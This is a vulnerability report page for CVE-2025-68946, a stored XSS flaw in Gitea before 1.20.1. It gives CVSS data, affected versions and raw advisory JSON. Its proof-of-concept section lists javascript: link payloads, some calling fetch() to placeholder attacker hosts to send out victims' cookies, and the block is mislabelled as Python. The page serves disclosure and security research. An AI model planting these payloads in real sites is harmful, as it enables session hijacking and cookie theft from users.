Security Vulnerability Report
中文
CVE-2025-68946 CVSS 5.4 MEDIUM

CVE-2025-68946

Published: 2025-12-26 05:16:12
Last Modified: 2025-12-31 22:17:49

Description

In Gitea before 1.20.1, a forbidden URL scheme such as javascript: can be used for a link, aka XSS.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:* - VULNERABLE
Gitea < 1.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-68946 PoC - Gitea XSS via javascript: URL scheme // This PoC demonstrates how an attacker can inject malicious javascript: links // Example malicious content that can be submitted to Gitea: // <a href="javascript:alert(document.cookie)">Click here</a> // <a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">Malicious Link</a> // Attack scenario: // 1. Attacker creates an issue/PR comment or modifies a file description // 2. Attacker inserts: <a href="javascript:alert(document.domain)">View Details</a> // 3. When victim views the page, clicking the link executes the JavaScript // 4. Attacker can steal cookies, session tokens, or perform actions on behalf of victim // Example exploit payload for stealing session: const exploitPayload = ` <a href="javascript:fetch('https://evil.com/log?c='+btoa(document.cookie))"> Interesting commit </a> `; // Mitigation: Gitea 1.20.1+ blocks javascript: and other dangerous URL schemes

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68946", "sourceIdentifier": "[email protected]", "published": "2025-12-26T05:16:11.590", "lastModified": "2025-12-31T22:17:49.283", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Gitea before 1.20.1, a forbidden URL scheme such as javascript: can be used for a link, aka XSS."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.20.1", "matchCriteriaId": "0B402030-21CD-43AD-8695-3236307900A2"}]}]}], "references": [{"url": "https://blog.gitea.com/release-of-1.20.1/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/go-gitea/gitea/pull/25960", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/go-gitea/gitea/releases/tag/v1.20.1", "source": "[email protected]", "tags": ["Release Notes"]}]}}